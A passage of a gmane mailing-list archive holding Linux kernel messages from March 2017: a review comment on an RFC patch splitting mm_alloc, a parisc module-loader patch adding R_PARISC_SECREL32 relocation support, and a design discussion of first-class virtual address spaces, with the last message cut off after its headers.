	<linux-sh@vger.kernel.org>, "linux-snps-arc@lists.infradead.org"
	<linux-snps-arc@lists.infradead.org>, "linux-media@vger.kernel.org"
	<linux-media@vger.kernel.org>, "linux-xtensa@linux-xtensa.org"
	<linux-xtensa@linux-xtensa.org>, "adi-buildroot-devel@lists.sourceforge.net"
	<adi-build
To: 'Till Smejkal' <till.smejkal@googlemail.com>, Richard Henderson
	<rth@twiddle.net>, Ivan Kokshaysky <ink@jurassic.park.msu.ru>, Matt Turner
	<mattst88@gmail.com>, Vineet Gupta <vgupta@synopsys.com>, Russell King
	<linux@armlinux.org.uk>, Catalin Marinas <catalin.marinas@arm.com>, "Will
 Deacon" <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>, Richard Kuo
	<rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>, Fenghua Yu
	<fenghua.yu@intel.com>, James Hogan <james.hogan@imgtec.com>, Ralf Baechle
	<ralf@linux-mips.org>, "James E.J. Bottomley" <jejb@parisc-linux.org>, Helge
 Deller <deller@gmx.de>, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>, "Michael Ellerman" <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>, Heiko Carstens
	<heiko.carstens@de.ibm.com>, Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@
Original-X-From: owner-linux-aio@kvack.org Tue Mar 14 11:18:30 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnjX0-0000Gz-T4
	for gla-linux-aio@m.gmane.org; Tue, 14 Mar 2017 11:18:19 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id C20946B0038; Tue, 14 Mar 2017 06:18:24 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id BAA566B0388; Tue, 14 Mar 2017 06:18:24 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A4AA66B038A; Tue, 14 Mar 2017 06:18:24 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id 43C706B0388
	for <linux-aio@kvack.org>; Tue, 14 Mar 2017 06:18:24 -0400 (EDT)
Original-Received: by mail-wm0-f69.google.com with SMTP id v190so18230322wme.0
        for <linux-aio@kvack.org>; Tue, 14 Mar 2017 03:18:24 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:thread-topic:thread-index:date:message-id:references
         :in-reply-to:accept-language:content-language
         :content-transfer-encoding:mime-version;
        bh=u4zUbiMuijNTw1YayMB3UvKvxFw6S3/RhsP7Ws8zAH8=;
        b=Tg9QxECOJsArv3b0NCecpQhhEPjU3nPMGa+psUWM37DqRMA396g4xDzd8YQ4xfbIDg
         yeu9Dr2vTNuWdWPB7IITWWNWFBN6wJfu+WKT11jAmsOs3xbYeol4jchTZfp9nOxLJX9L
         jFQmA+Cl9HRo5yELaivJuhLswlsnAl1SplUhn8xvlSokITdbfnNlOsjOyNJNvnkalvhP
         pu5I7Lne5jdPA7R78sBheDbtJ+KmOBz0NvV2ayDifD6YlYwx8RDUgVwzGD8A+xI+qpiy
         UJsvKcb1vvQhTQDZnyvygwn1Z3CVSuxdFw5IOENxS4gYz4N+FXwiyGKpiwpnRhH4rGh2
         npMg==
X-Original-Authentication-Results: mx.google.com;       spf=softfail (google.com: domain of transitioning david.laight@aculab.com does not designate 192.162.216.181 as permitted sender) smtp.mailfrom=David.Laight@aculab.com
X-Gm-Message-State: AMke39lZkAEMgq1ItadvXdYPGh7dY4zWKB1vDsM0hyn5O+SPmneKqPTNNAFR10Q5ZmZtdF4SoGG1DzeyBALE5WKg0uxoPZ6FbUGFGs1Z/akfQqK1yhL0/9LLgybEg9kzdzKakQ6iBFHL+JBof2l3X2T+Us0WFsNTWlpZ/sofwdvibUP4FrRwqink/HHM
X-Received: by 10.223.145.227 with SMTP id 90mr33526047wri.156.1489486703819;
        Tue, 14 Mar 2017 03:18:23 -0700 (PDT)
X-Received: by 10.223.145.227 with SMTP id 90mr33525984wri.156.1489486703087;
        Tue, 14 Mar 2017 03:18:23 -0700 (PDT)
Original-Received: from smtp-out4.electric.net (smtp-out4.electric.net. [192.162.216.181])
        by mx.google.com with ESMTPS id n123si14693794wme.98.2017.03.14.03.18.22
        for <linux-aio@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 14 Mar 2017 03:18:23 -0700 (PDT)
Received-SPF: softfail (google.com: domain of transitioning david.laight@aculab.com does not designate 192.162.216.181 as permitted sender) client-ip=192.162.216.181;
Authentication-Results: mx.google.com;
       spf=softfail (google.com: domain of transitioning david.laight@aculab.com does not designate 192.162.216.181 as permitted sender) smtp.mailfrom=David.Laight@aculab.com
Original-Received: from 1cnjWn-0002zE-WE by out4b.electric.net with emc1-ok (Exim 4.87)
	(envelope-from <David.Laight@ACULAB.COM>)
	id 1cnjWx-0003kS-W9; Tue, 14 Mar 2017 03:18:15 -0700
Original-Received: by emcmailer; Tue, 14 Mar 2017 03:18:15 -0700
Original-Received: from [213.249.233.130] (helo=AcuExch.aculab.com)
	by out4b.electric.net with esmtps (TLSv1:AES128-SHA:128)
	(Exim 4.87)
	(envelope-from <David.Laight@ACULAB.COM>)
	id 1cnjWn-0002zE-WE; Tue, 14 Mar 2017 03:18:06 -0700
Original-Received: from ACUEXCH.Aculab.com ([::1]) by AcuExch.aculab.com ([::1]) with
 mapi id 14.03.0123.003; Tue, 14 Mar 2017 10:18:03 +0000
Thread-Topic: [RFC PATCH 07/13] kernel/fork: Split and export 'mm_alloc' and
 'mm_init'
Thread-Index: AQHSnFlKbsEtMBhPwUWh6YpYbq3c0aGUH2sg
In-Reply-To: <20170313221415.9375-8-till.smejkal@gmail.com>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.202.99.200]
X-Outbound-IP: 213.249.233.130
X-Env-From: David.Laight@ACULAB.COM
X-Proto: esmtps
X-Revdns: 
X-HELO: AcuExch.aculab.com
X-TLS: TLSv1:AES128-SHA:128
X-Authenticated_ID: 
X-PolicySMART: 3396946, 3397078
X-Virus-Status: Scanned by VirusSMART (c)
X-Virus-Status: Scanned by VirusSMART (s)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4962 gmane.linux.ports.mips.general:58376 gmane.linux.alsa.devel:165343 gmane.linux.ports.ia64:27710 gmane.linux.kernel.mm:168317 gmane.linux.drivers.mtd:72557 gmane.linux.ports.sparc:24741 gmane.linux.kernel.cross-arch:35558 gmane.linux.ports.hexagon:1171 gmane.linux.ports.sh.devel:55144 gmane.linux.kernel.arc:2238 gmane.linux.drivers.video-input-infrastructure:114781 gmane.linux.kernel.metag:1280 gmane.linux.ports.arm.kernel:564859 gmane.linux.ports.parisc:27339 gmane.linux.kernel.api:22547 gmane.linux.usb.general:156158 gmane.linux.kernel:2431599 gmane.linux.ports.alpha:4146 gmane.linux.file-systems:119112 gmane.linux.ports.ppc64.devel:139580
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4962>

From: Linuxppc-dev Till Smejkal
> Sent: 13 March 2017 22:14
> The only way until now to create a new memory map was via the exported
> function 'mm_alloc'. Unfortunately, this function not only allocates a ne=
w
> memory map, but also completely initializes it. However, with the
> introduction of first class virtual address spaces, some initialization
> steps done in 'mm_alloc' are not applicable to the memory maps needed for
> this feature and hence would lead to errors in the kernel code.
>=20
> Instead of introducing a new function that can allocate and initialize
> memory maps for first class virtual address spaces and potentially
> duplicate some code, I decided to split the mm_alloc function as well as
> the 'mm_init' function that it uses.
>=20
> Now there are four functions exported instead of only one. The new
> 'mm_alloc' function only allocates a new mm_struct and zeros it out. If o=
ne
> want to have the old behavior of mm_alloc one can use the newly introduce=
d
> function 'mm_alloc_and_setup' which not only allocates a new mm_struct bu=
t
> also fully initializes it.
...

That looks like bugs waiting to happen.
You need unchanged code to fail to compile.

	David


--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: support R_PARISC_SECREL32 relocation in modules
Date: Tue, 14 Mar 2017 11:47:29 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1703141146300.25997@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1489506460 13389 195.159.176.226 (14 Mar 2017 15:47:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 15:47:40 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 14 16:47:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cnofY-0000q6-HV
	for glpp-linux-parisc@m.gmane.org; Tue, 14 Mar 2017 16:47:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750909AbdCNPre (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 14 Mar 2017 11:47:34 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:59844 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751374AbdCNPrb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 14 Mar 2017 11:47:31 -0400
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 2959E61D15;
        Tue, 14 Mar 2017 15:47:31 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
        by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id v2EFlTLh021026
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
        Tue, 14 Mar 2017 11:47:30 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id v2EFlT0F026541;
        Tue, 14 Mar 2017 11:47:29 -0400
Original-Received: from localhost (mpatocka@localhost)
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id v2EFlTCu026536;
        Tue, 14 Mar 2017 11:47:29 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.39]); Tue, 14 Mar 2017 15:47:31 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27340
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27340>

The parisc kernel doesn't work with CONFIG_MODVERSIONS since the commit
71810db27c1c853b335675bee335d893bc3d324b. It can't load modules with the
error: "module unix: Unknown relocation: 41".

The commit changes __kcrctab from 64-bit valus to 32-bit values. The
assembler generates R_PARISC_SECREL32 secrel relocation for them and the
module loader doesn't support this relocation.

This patch adds the R_PARISC_SECREL32 relocation to the module loader.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Cc: stable@vger.kernel.org	# v4.10+

---
 arch/parisc/kernel/module.c |    8 ++++++++
 1 file changed, 8 insertions(+)

Index: linux-4.11-rc2/arch/parisc/kernel/module.c
===================================================================
--- linux-4.11-rc2.orig/arch/parisc/kernel/module.c
+++ linux-4.11-rc2/arch/parisc/kernel/module.c
@@ -620,6 +620,10 @@ int apply_relocate_add(Elf_Shdr *sechdrs
 			 */
 			*loc = fsel(val, addend); 
 			break;
+		case R_PARISC_SECREL32:
+			/* 32-bit section relative address. */
+			*loc = fsel(val, addend);
+			break;
 		case R_PARISC_DPREL21L:
 			/* left 21 bit of relative address */
 			val = lrsel(val - dp, addend);
@@ -807,6 +811,10 @@ int apply_relocate_add(Elf_Shdr *sechdrs
 			 */
 			*loc = fsel(val, addend); 
 			break;
+		case R_PARISC_SECREL32:
+			/* 32-bit section relative address. */
+			*loc = fsel(val, addend);
+			break;
 		case R_PARISC_FPTR64:
 			/* 64-bit function address */
 			if(in_local(me, (void *)(val + addend))) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Tue, 14 Mar 2017 09:12:29 -0700
Lines: 82
Approved: news@gmane.org
Message-ID: <20170314161229.tl6hsmian2gdep47@arch-dev>
References: <CALCETrXKvNWv1OtoSo_HWf5ZHSvyGS1NsuQod6Zt+tEg3MT5Sg@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1489507966 15198 195.159.176.226 (14 Mar 2017 16:12:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 16:12:46 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.
To: Andy Lutomirski <luto@amacapital.net>
Original-X-From: owner-linux-aio@kvack.org Tue Mar 14 17:12:33 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnp3n-0002cZ-JG
	for gla-linux-aio@m.gmane.org; Tue, 14 Mar 2017 17:12:32 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 2F2FF6B038A; Tue, 14 Mar 2017 12:12:36 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 2A8686B038C; Tue, 14 Mar 2017 12:12:36 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 0CF226B038D; Tue, 14 Mar 2017 12:12:36 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wr0-f197.google.com (mail-wr0-f197.google.com [209.85.128.197])
	by kanga.kvack.org (Postfix) with ESMTP id 91B086B038A
	for <linux-aio@kvack.org>; Tue, 14 Mar 2017 12:12:35 -0400 (EDT)
Original-Received: by mail-wr0-f197.google.com with SMTP id y51so51606985wry.6
        for <linux-aio@kvack.org>; Tue, 14 Mar 2017 09:12:35 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :content-transfer-encoding:in-reply-to:user-agent;
        bh=vpY7Ju1xphlm5kpp8arvZWfkWKekVRvZ0YXwBrkfXvU=;
        b=b8z3YofLHftEVvPCPjM5Y9ZDSxvrSecDSApkr6KlCNDDGFnTy/qowJQtEpI66RSsVt
         rZZ8ECSh4ZlRQm0qo58tsKzs191WUk7bfBnfgznD5AUbDB4cXNz7aUu/43RsR8ZZ/g5c
         rFK75Hm0j/jYB1Xb/1ItfwFynAJ08RsNJO7xNi6WK+eDnD2JPOhi2nMMwdi/a6bEtAmm
         DxjQnzg5yCR0nJnSvVTwcUovT7BbLikojN7Xg8OylVnhcQKNkTetvEd9PL7d7XKlAT2R
         ZpWYmWVbhHToCOOnNlfs7vFlKm7RK4AyvIJNjxM8hYDpl2RtLuR4283vLZK5X303VMG+
         9DpA==
X-Gm-Message-State: AFeK/H0eIcX5TNonFPBMWz1e2106Y04HRZWiclftvU3a65Cv6EkrZB91DmkEnYntYj2923Do2ZM/TLt7Nleu4m8fh0jIPOEneVN3wOvePUwW6Dbm1L8uP7G1remhDOgsRRmohIo1wdbaKLvuR075k0ykoK/V7oxLeaVlR3WAi4qc/azrzh5f13yXWdi4i+TL5qG6BEEsGGtQJoMOVftRGShh2kUZHQlyoOKwMhEHW0GNDmsXSSs5lXDX/iSH2pSQd0hN4JCrSd/y/gaxFV5G+xV4Cp8Pqc9AXJ609qiXH0xyMyc4ADRwPzk=
X-Received: by 10.28.20.70 with SMTP id 67mr16464801wmu.86.1489507954980;
        Tue, 14 Mar 2017 09:12:34 -0700 (PDT)
X-Received: by 10.28.20.70 with SMTP id 67mr16464716wmu.86.1489507953906;
        Tue, 14 Mar 2017 09:12:33 -0700 (PDT)
Original-Received: from mail-wm0-x244.google.com (mail-wm0-x244.google.com. [2a00:1450:400c:c09::244])
        by mx.google.com with ESMTPS id w16si5644933wra.69.2017.03.14.09.12.33
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 14 Mar 2017 09:12:33 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::244 as permitted sender) client-ip=2a00:1450:400c:c09::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x244.google.com with SMTP id z63so564881wmg.2;
        Tue, 14 Mar 2017 09:12:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:content-transfer-encoding:in-reply-to
         :user-agent;
        bh=vpY7Ju1xphlm5kpp8arvZWfkWKekVRvZ0YXwBrkfXvU=;
        b=vECs7RrvJ/bF8A7BrVplH1Krw18PAd1F5jG0hHCI3kfDzXeIn1T9/m5nhXvauQe+9n
         pRohrvMJfbTuYfcch7RW6LjTL3fqpYTqUHKJn2fuI04HMQDEDheFlhs/zROJl99U3bRX
         Wv+5h96PDzSgCWnCV3C5WzALHWsu0bNOLZPis1YmzYHX7O2a+1KEyWMdTahpHZX+P5Ep
         ByjfRPSKEQPlVJGMDL6yGRjgcFaQdf+GhCe9sKSGtd6ewhFlxih88SoOl0DjdNf7u9/f
         vxeZNThoetsrMF8QY4FdDdKdsZd+MNV2T8yQnZzl/JQ4vSFUGKWltF4zntTOqTPf9J8U
         mMww==
X-Received: by 10.28.193.193 with SMTP id r184mr489306wmf.80.1489507953167;
        Tue, 14 Mar 2017 09:12:33 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id b58sm29800033wra.47.2017.03.14.09.12.31
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 14 Mar 2017 09:12:32 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <hei 
Content-Disposition: inline
In-Reply-To: <CALCETrXKvNWv1OtoSo_HWf5ZHSvyGS1NsuQod6Zt+tEg3MT5Sg@mail.gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4963 gmane.linux.kernel:2432075 gmane.linux.ports.alpha:4147 gmane.linux.kernel.arc:2240 gmane.linux.ports.arm.kernel:565028 gmane.linux.ports.hexagon:1172 gmane.linux.ports.ia64:27711 gmane.linux.kernel.metag:1281 gmane.linux.ports.mips.general:58414 gmane.linux.ports.parisc:27341 gmane.linux.ports.ppc64.devel:139618 gmane.linux.ports.sh.devel:55145 gmane.linux.ports.sparc:24742 gmane.linux.drivers.video-input-infrastructure:114800 gmane.linux.drivers.mtd:72562 gmane.linux.usb.general:156172 gmane.linux.file-systems:119126 gmane.linux.kernel.mm:168335 gmane.linux.kernel.api:22554 gmane.linux.kernel.cross-arch:35571 gmane.linux.alsa.devel:165347
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4963>

On Mon, 13 Mar 2017, Andy Lutomirski wrote:
> On Mon, Mar 13, 2017 at 7:07 PM, Till Smejkal
> <till.smejkal@googlemail.com> wrote:
> > On Mon, 13 Mar 2017, Andy Lutomirski wrote:
> >> This sounds rather complicated.  Getting TLB flushing right seems
> >> tricky.  Why not just map the same thing into multiple mms?
> >
> > This is exactly what happens at the end. The memory region that is described by the
> > VAS segment will be mapped in the ASes that use the segment.
> 
> So why is this kernel feature better than just doing MAP_SHARED
> manually in userspace?

One advantage of VAS segments is that they can be globally queried by user programs
which means that VAS segments can be shared by applications that not necessarily have
to be related. If I am not mistaken, MAP_SHARED of pure in memory data will only work
if the tasks that share the memory region are related (aka. have a common parent that
initialized the shared mapping). Otherwise, the shared mapping have to be backed by a
file. VAS segments on the other side allow sharing of pure in memory data by
arbitrary related tasks without the need of a file. This becomes especially
interesting if one combines VAS segments with non-volatile memory since one can keep
data structures in the NVM and still be able to share them between multiple tasks.

> >> Ick.  Please don't do this.  Can we please keep an mm as just an mm
> >> and not make it look magically different depending on which process
> >> maps it?  If you need a trampoline (which you do, of course), just
> >> write a trampoline in regular user code and map it manually.
> >
> > Did I understand you correctly that you are proposing that the switching thread
> > should make sure by itself that its code, stack, … memory regions are properly setup
> > in the new AS before/after switching into it? I think, this would make using first
> > class virtual address spaces much more difficult for user applications to the extend
> > that I am not even sure if they can be used at all. At the moment, switching into a
> > VAS is a very simple operation for an application because the kernel will just simply
> > do the right thing.
> 
> Yes.  I think that having the same mm_struct look different from
> different tasks is problematic.  Getting it right in the arch code is
> going to be nasty.  The heuristics of what to share are also tough --
> why would text + data + stack or whatever you're doing be adequate?
> What if you're in a thread?  What if two tasks have their stacks in
> the same place?

The different ASes that a task now can have when it uses first class virtual address
spaces are not realized in the kernel by using only one mm_struct per task that just
looks differently but by using multiple mm_structs - one for each AS that the task
can execute in. When a task attaches a first class virtual address space to itself to
be able to use another AS, the kernel adds a temporary mm_struct to this task that
contains the mappings of the first class virtual address space and the one shared
with the task's original AS. If a thread now wants to switch into this attached first
class virtual address space the kernel only changes the 'mm' and 'active_mm' pointers
in the task_struct of the thread to the temporary mm_struct and performs the
corresponding mm_switch operation. The original mm_struct of the thread will not be
changed.

Accordingly, I do not magically make mm_structs look differently depending on the
task that uses it, but create temporary mm_structs that only contain mappings to the
same memory regions.

I agree that finding a good heuristics of what to share is difficult. At the moment,
all memory regions that are available in the task's original AS will also be
available when a thread switches into an attached first class virtual address space
(aka. are shared). That means that VAS can mainly be used to extend the AS of a task
in the current state of the implementation. The reason why I implemented the sharing
in this way is that I didn't want to break shared libraries. If I only share
code+heap+stack, shared libraries would not work anymore after switching into a VAS.

> I could imagine something like a sigaltstack() mode that lets you set
> a signal up to also switch mm could be useful.

This is a very interesting idea. I will keep it in mind for future use cases of
multiple virtual address spaces per task.

Thanks
Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.kernel.aio.general,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.api,gmane.linux.usb.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.file-systems,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH 07/13] kernel/fork: Split and export 'mm_alloc' and
 'mm_init'
Date: Tue, 14 Mar 2017 09:18:55 -0700
Lines: 42
